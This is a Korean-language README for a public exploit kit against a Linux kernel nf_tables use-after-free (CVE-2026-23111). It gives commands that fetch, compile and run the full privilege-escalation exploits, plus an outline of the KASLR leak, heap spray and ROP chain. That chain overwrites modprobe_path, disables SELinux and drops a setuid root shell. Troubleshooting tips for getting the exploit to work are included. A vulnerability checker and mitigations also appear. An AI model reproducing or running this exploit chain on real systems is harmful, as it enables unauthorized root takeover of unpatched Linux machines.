
Linux Kernel nf_tables Use-After-Free (CVE-2026-23111) — LPE PoC
Linux Kernel nf_tables 사용 후 해제 (로컬 권한 상승) poc by baba01hacker
net/netfilter/nf_tables_api.c — nft_map_catchall_activate()| 버전 범위 | 수정 버전 |
|---|---|
| 6.19-rc1 ~ 6.19-rc8 | 6.19-rc9+ |
| 6.13 ~ 6.18.9 | 6.18.10 |
| 6.7 ~ 6.12.69 | 6.12.70 |
| 6.4.1 ~ 6.5.x | EOL (안정적인 수정 없음) |
| 6.3.10 ~ 6.3.x | EOL |
| 6.0.x, 6.2.x | EOL |
| 6.1.36 ~ 6.1.162 | 6.1.163 |
| 5.15.121 ~ 5.15.199 | 5.15.200 |
| 5.10.188+, 5.4.262+, 4.19.316+ | 다양한 LTS |
CVE-2026-23111은 nft_map_catchall_activate()에서 생성 마스크 검사가 반대로 되어 발생하는 nf_tables 사용 후 해제입니다. 실패한 트랜잭션의 롤백 중에 NFT_MSG_DELSET에 의해 비활성화된 catchall 판정 맵 요소는 NFT_GOTO 체인 참조와 같은 참조를 복원하기 위해 다시 활성화되어야 합니다. catchall 활성화 경로는 대신 비활성 요소를 건너뛰고 활성 요소를 처리하여 비활성화된 catchall 요소가 복원되지 않은 상태로 남습니다.
올바른 비-catchall 활성화 로직:
if (nft_set_elem_active(ext, iter->genmask))
return 0; /* 활성은 건너뛰고, 비활성 처리 */
취약한 catchall 경로는 반대 조건을 사용했습니다:
if (!nft_set_elem_active(ext, genmask))
continue; /* 비활성 건너뛰고, 활성 처리 */
삭제된 pipapo 판정 맵이 롤백될 때, 이로 인해 비활성 catchall 요소에 대해 nft_setelem_data_activate()가 실행되지 않습니다. NFT_JUMP/NFT_GOTO 판정 데이터의 경우, nft_data_hold()가 가져온 체인 참조가 복원되지 않습니다. 중단/전환/삭제 시퀀스를 반복하면 다른 규칙에 여전히 유효한 판정 참조가 있는 상태에서 chain->use가 0이 될 수 있습니다. 이후 DELCHAIN은 체인이 여전히 도달 가능한 상태에서 체인을 해제하여 UAF를 생성합니다.
테이블, 기본 체인, 피해 체인 및 catchall NFT_GOTO -> 피해가 포함된 pipapo 판정 맵 생성
|
배치 1: pipapo 세트 삭제 후 트랜잭션 오류 강제 발생
|
중단 경로가 nft_map_catchall_activate()를 호출하지만, 반전된 검사로 인해 비활성 catchall을 건너뜀
|
catchall이 비활성 상태로 남아 피해 체인 참조 카운트가 복원되지 않음
|
배치 2: 정상 트랜잭션을 커밋하여 생성 커서 전환
|
배치 3: pipapo 세트를 성공적으로 삭제하여 피해 체인 참조를 다시 감소시킴
|
배치 4: 기본 체인 판정이 여전히 참조하는 피해 체인 삭제
|
패킷 평가 또는 규칙 덤프가 매달린 판정 참조를 따라갈 때 사용 후 해제 발생
업스트림 수정은 nft_map_catchall_activate()가 nft_mapelem_activate()와 일치하도록 부정을 제거하는 것입니다: 활성 요소는 건너뛰고, 비활성 요소는 다시 활성화되며, 중단 처리 중에 판정/객체 참조가 복원됩니다.
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d
전체/v1 PoC가 대상 커널에서 실패할 경우 사용합니다.
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d
컴파일러가 libmnl/libmnl.h 또는 libnftnl 헤더를 찾지 못하는 경우 먼저 빌드 종속성을 설치합니다:
scripts/install-build-deps.sh
# 또는
make deps
make # 익스플로잇 빌드 (PoC 전용)
make v2 # v2 익스플로잇 빌드 (FuzzingLabs 방식 — v1 실패 시 시도)
make full # 전체 LPE 익스플로잇 빌드
make v3 # v3 교정된 eval-path 변형 빌드
make run-d # 디버그 출력으로 PoC 실행
make run-v2-d # 디버그 출력으로 v2 실행
make run-v3 # v3 사용법/도움말 표시
make run-full # 전체 LPE 실행
catchall 요소(goto 피해 체인)가 포함된 pipapo 맵 세트를 만든 다음 DELSET 중단 중에 반전된 genmask 버그를 사용하여 chain->use를 손상시킵니다. 생성 카운터를 진행한 후 매달린 참조가 있음에도 DELCHAIN이 성공하여 체인이 해제됩니다.
UAF 후 chain->name 메모리가 해제됩니다. /proc/self/stat을 열어 seq_operations 구조(32바이트)를 스프레이하여 해제된 slab 캐시 슬롯을 재확보합니다. NFT_MSG_GETRULE을 통해 기본 체인의 즉시 판정 규칙을 다시 읽으면 재확보된 체인 이름이 덤프되어 커널 함수 포인터가 누출됩니다. 포인터 유효성 검사를 통해 정규 커널 텍스트 주소만 허용됩니다.
더 긴 체인 이름(140바이트 → kmalloc-cg-192)으로 UAF를 다시 트리거한 다음 nft_rule 객체를 스프레이하여 메모리를 재확보합니다. 누출된 list_head 포인터는 직접 맵 영역의 힙 주소를 드러냅니다.
nft_expr_ops 및 nft_rule_blob 생성blob_gen_0 덮어쓰기commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq/proc/kcore에서 자동 스캔expr->ops->eval 호출v2 익스플로잇(exploit_v2.c)은 FuzzingLabs 글에 설명된 기술을 사용하며 v1 PoC가 실패할 때 사용할 수 있습니다. 주요 차이점:
init_ipc_ns + 0x118 → msg_ids.xa_head → msg_queue (태그된 포인터)
msg_queue + 0xc0 → q_messages.next → msg_msg 힙 주소
각 단계는 해제된 체인 구조를 임의 읽기 프리미티브로 사용합니다:
테이블 userdata(128바이트)는 kmalloc-cg-128에서 해제된 nft_chain을 재확보하고,
오프셋 0x40(체인의 chain->name 위치)에 배치된 커널 주소는
SET_B 요소 덤프 중 커널에 의해 역참조됩니다.
v3 힙 단계는 실제 이진 안전 임의 읽기-평가 프리미티브가 아닌 오프셋 예측에 기반합니다. 최종 스프레이 전에 대상을 보정하세요:
grep msg_msg /proc/slabinfo
# kmalloc-cg-2048 객체 밀도와 교차 참조한 후 다음 실행:
./exploit_v3 --msg-msg-addr 0xffff...
# 또는 누출된 커널 베이스를 기준으로 값이 알려진 경우:
./exploit_v3 --msg-msg-delta 0x...
정확한 커널 빌드에 대해 nftables 구조체 오프셋을 확인하세요:
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)
가젯 스캔은 /proc/kcore를 사용합니다. 제한된 경우 vmlinux에서 가젯을 추출하여 오프라인으로 사용하고 누출된 커널 베이스를 기준으로 주소를 하드코딩하세요. v3 패킷 평가 경로는 push rdi; pop rsp를 사용합니다. rdi = expr이기 때문입니다. 이는 rsi = expr인 v2 검증 경로와 다릅니다.
push rdi; pop rsp; pop rbp; ret ← 스택 피벗 (rdi = expr)
pop rdi; ret → &modprobe_path \
pop rax; ret → "/tmp/pe\0" │ modprobe_path 쓰기
mov [rdi], rax; ret /
pop rdi; ret → &selinux_state \
xor eax, eax; ret │ SELinux 비활성화
mov [rdi], eax; ret /
pop rdi; ret → 10000 \
msleep │ 커널 유지
커널이 알 수 없는 바이너리 형식을 만난 후 modprobe_path를 호출하면 /tmp/pe 스크립트가 root로 실행됩니다. 이 스크립트는 /tmp/rootbash에 setuid root 셸을 생성합니다.
NFT_MSG_GETELEM (다른 커널 코드 경로)을 사용하여 NFT_MSG_GETRULE 대신 사용init_ipc_ns 전역 변수를 사용하여 커널 데이터 구조를 탐색하고 nft_rule 객체 스프레이 대신 사용nft_rules + 테이블 userdata 대신 msg_msg-2k (크고 안정적인 버퍼)를 사용commit_creds + 네임스페이스 전환 대신 modprobe_path (swapgs/iretq 없이 작동)를 사용SLAB_RANDOM/하드닝 있음: v2의 init_ipc_ns 체인은 안정적인 전역을 대상으로 하여 힙 레이아웃이 덜 중요함nft_map_catchall_activate() (net/netfilter/nf_tables_api.c)에서:
list_for_each_entry(catchall, &set->catchall_list, list) {
ext = nft_set_elem_ext(set, catchall->elem);
if (!nft_set_elem_active(ext, genmask)) // 버그: '!' 없어야 함
continue;
nft_clear(ctx->net, ext);
nft_setelem_data_activate(ctx->net, set, catchall->elem);
break;
}
!로 인해 함수가 비활성 요소를 처리하는 대신 건너뛰게 됩니다. 트랜잭션 중단 중에 DELSET에 의해 방금 비활성화된 catchall 요소가 건너뛰어져 nft_data_hold()가 호출되지 않아 체인 참조 카운터가 복원되지 않습니다.
├── CVE-2026-23111-checker.py 취약점 탐지 스크립트 (--detailed, --json)
├── exploit.c PoC 익스플로잇 (UAF + KASLR 누출 + 힙 누출)
├── exploit_v2.c v2 익스플로잇 (FuzzingLabs 방식 — v1 실패 시 시도)
├── exploit_full.c 전체 LPE 익스플로잇 (UAF + 누출 + ROP 체인)
├── exploit_full_aarch64 사전 빌드된 aarch64 바이너리 (정적)
├── exploit_full.b64 Base64로 인코딩된 전체 익스플로잇 바이너리
├── Makefile 빌드 설정
└── README.md 이 파일
apt-get install -y libmnl-dev libnftnl-dev gcc make python3
apt-get install -y gcc-aarch64-linux-gnu
make aarch64
make debug # ASan이 포함된 PoC
make debug-full # ASan이 포함된 전체 익스플로잇
체커는 여러 탐지 방법을 수행합니다:
nf_tables 커널 모듈이 로드되었는지 확인/proc/config.gz 또는 /boot/config-*에서 CONFIG_NF_TABLES 읽기/proc/kallsyms에서 nft_map_catchall_activate 검색kernel.unprivileged_userns_clone sysctl 확인python3 CVE-2026-23111-checker.py --detailed # 대책이 포함된 사람이 읽을 수 있는 출력
python3 CVE-2026-23111-checker.py --json # 기계가 읽을 수 있는 JSON
sysctl kernel.unprivileged_userns_clone=0nf_tables 모듈 블랙리스트 등록:
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
| 구성 요소 | v1 (exploit.c) | v2 (exploit_v2.c) |
|---|
| UAF 트리거 | 단일 세트 + 즉시 goto 규칙 | 두 세트 (FuzzingLabs 스타일) + 조회 규칙 |
| KASLR 읽기 | NFT_MSG_GETRULE (규칙 덤프) | NFT_MSG_GETELEM (요소 덤프) + GETRULE 대체 |
| 힙 누출 | nft_rule 스프레이 + list_head 누출 | init_ipc_ns 임의 읽기 체인 |
| ROP 호스트 | nft_rules + 테이블 userdata | msg_msg-2k (2048바이트 메시지) |
| 하이재킹 트리거 | 즉시 goto에 대한 패킷 평가 | 생존한 세트 catchall에 대한 패킷 평가 |
| 권한 상승 | commit_creds + switch_task_namespaces | modprobe_path 덮어쓰기 + SELinux 비활성화 |
| 반환 경로 | swapgs; iretq | msleep() (커널에 머물러 있음) |
| 문제 | 해결 방법 |
|---|
mnl_socket_open: No such file or directory | nf_tables 모듈이 로드되었는지 확인: modprobe nf_tables |
unshare: Operation not permitted | 권한 없는 사용자 네임스페이스가 필요합니다. kernel.unprivileged_userns_clone=1 확인 |
Batch A did NOT abort | 커널이 패치되었거나 genmask 동작이 다를 수 있음 |
No kernel pointer leaked | KASLR 하드닝 또는 SLAB_RANDOM이 적용 중일 수 있음; 여러 번 시도 |
No heap pointer found | 힙 스프레이 충돌률은 확률적입니다; 다시 시도하거나 스프레이 횟수 증가 |
컴파일: nf_tables.h: No such file | 커널 헤더 설치: apt install linux-headers-$(uname -r) |
링크 오류: mnl_*에 대한 정의되지 않은 참조 | 링크 순서 중요: -lnftnl -lmnl (nftnl이 mnl보다 먼저) |